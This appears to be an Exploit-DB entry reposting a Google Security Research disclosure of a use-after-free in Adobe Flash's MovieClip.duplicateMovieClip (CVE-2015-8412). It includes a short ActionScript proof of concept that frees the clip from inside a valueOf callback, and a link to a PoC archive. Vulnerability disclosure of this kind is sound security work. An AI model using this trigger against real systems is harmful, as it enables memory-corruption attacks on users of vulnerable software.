Adobe Flash MovieClip.duplicateMovieClip - Use-After-Free
Author: Google Security Research
type: dos
platform: windows
port: nan
date_added: 2015-12-18
date_updated: 2015-12-18
verified: 1
codes: CVE-2015-8412;OSVDB-131215
tags:
aliases:
screenshot_url:
application_url:
Source: https://code.google.com/p/google-security-research/issues/detail?id=591
There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used.
A minimal PoC follows:
this.createEmptyMovieClip("mc", 1);
mc.duplicateMovieClip( "mc",{valueOf : func});
function func(){
trace("in func");
mc.removeMovieClip();
// Fix heap here
return 5;
}
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip